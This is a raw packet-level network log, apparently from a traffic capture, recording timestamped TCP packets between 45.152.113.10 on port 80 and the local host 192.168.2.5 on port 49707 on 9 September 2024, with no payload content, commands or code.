Sep 9, 2024 18:45:07.596955061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.596960068 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.596997976 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.597378016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.597394943 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.597409964 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.597424984 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.597426891 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.597439051 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.597441912 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.597453117 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.597460032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.597476959 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.597485065 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.597491026 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.597500086 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.597516060 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.597531080 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.612283945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.612302065 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.612318039 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.612365961 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.612436056 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.612452984 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.612468958 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.612484932 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.612502098 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.612525940 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.612525940 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.612525940 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.612525940 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.612550020 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.612582922 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.612600088 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.612616062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.612631083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.612638950 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.612653017 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.612658024 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.612664938 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.612675905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.612695932 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.612709045 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.612876892 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.612893105 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.612907887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.612917900 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.612925053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.612929106 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.612945080 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.612948895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.612961054 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.612966061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.612982988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.612983942 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.612998962 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.613001108 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.613014936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.613017082 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.613032103 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.613034010 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.613049030 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.613050938 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.613065958 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.613066912 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.613082886 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.613082886 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.613101959 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.613116980 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.613157988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.613189936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.613193035 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.613207102 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.613229036 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.613240957 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.613290071 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.613306046 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.613320112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.613327026 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.613336086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.613337994 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.613354921 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.613370895 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.651060104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651081085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651097059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651115894 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651168108 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651176929 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.651195049 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651206017 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.651206017 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.651212931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651240110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651247978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651254892 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651258945 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.651272058 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651274920 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.651294947 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.651316881 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.651331902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651349068 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651397943 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651406050 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.651413918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651431084 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651439905 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.651448965 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651449919 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.651463985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651479959 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651488066 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651494980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651500940 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651509047 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651515961 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651520014 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.651520014 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.651530981 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651540041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651554108 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651562929 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.651576042 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651580095 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.651592016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651596069 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.651608944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651612043 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.651627064 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651627064 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.651645899 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.651663065 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651664972 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.651700020 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651715994 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651731014 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651738882 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.651750088 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651753902 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.651766062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651773930 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.651786089 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.651787996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651808977 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651812077 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.651827097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.651850939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651865959 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651875019 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.651881933 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651885033 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.651901007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651905060 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.651916027 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.651920080 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651937008 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651940107 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.651952028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651959896 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.651973009 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.651977062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.651992083 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.651993036 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.652010918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.652025938 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.652033091 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.652041912 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.652045965 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.652060032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.652065992 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.652075052 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.652084112 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.652092934 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.652100086 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.652110100 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.652110100 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.652128935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.652139902 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.652146101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.652149916 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.652163029 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.652170897 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.652182102 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.652183056 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.652199984 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.652213097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.652213097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.652218103 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.652235031 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.652256966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.652272940 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.652273893 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.652273893 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.652280092 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.652297974 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.652306080 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.652317047 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.652323961 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.652333975 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.652350903 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.652365923 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.689821005 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.689862013 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.689877987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.689893007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.689908981 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.689924955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.689939976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.689956903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.689989090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.690005064 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.690018892 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.690045118 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.690046072 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.690046072 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.690046072 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.690046072 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.690076113 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.721743107 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.726639986 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.859791994 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.859808922 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.859822989 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.859961987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.859977007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.859993935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.860008001 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.860023975 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.860064030 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.860064030 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.860064030 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.860095978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.860104084 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.860104084 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.860104084 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.860115051 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.860131025 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.860145092 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.860158920 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.860160112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.860178947 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.860204935 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.860219002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.860301018 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.860330105 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.860346079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.860348940 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.860368013 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.860392094 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.860402107 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.860414982 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.860430956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.860445023 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.860445023 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.860470057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.860470057 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.860470057 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.860486031 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.860517025 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.860532045 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.860555887 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.860573053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.860580921 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.860589981 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.860605955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.860620022 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.860632896 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.860635996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.860656023 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.860667944 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.860707998 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.860723019 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.860738039 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.860745907 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.860754013 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.860769987 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.860778093 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.860800982 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.860841990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.860862970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.860902071 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.860909939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.860946894 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.860951900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.860965967 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.860987902 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.861001015 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.861052036 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.861067057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.861083031 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.861088991 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.861099005 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.861102104 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.861124039 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.861131907 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.861145020 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.861182928 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.861193895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.861207962 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.861222982 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.861236095 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.861253023 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.861274004 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.861300945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.861342907 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.861385107 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.861399889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.861426115 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.861447096 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.861452103 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.861468077 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.861481905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.861496925 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.861507893 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.861512899 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.861536026 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.861553907 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.861599922 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.861633062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.861649036 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.861664057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.861675024 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.861705065 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.861783028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.861799955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.861815929 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.861824989 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.861830950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.861846924 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.861856937 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.861881971 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.861885071 CEST	49707	80	192.168.2.5	45.152.113.10
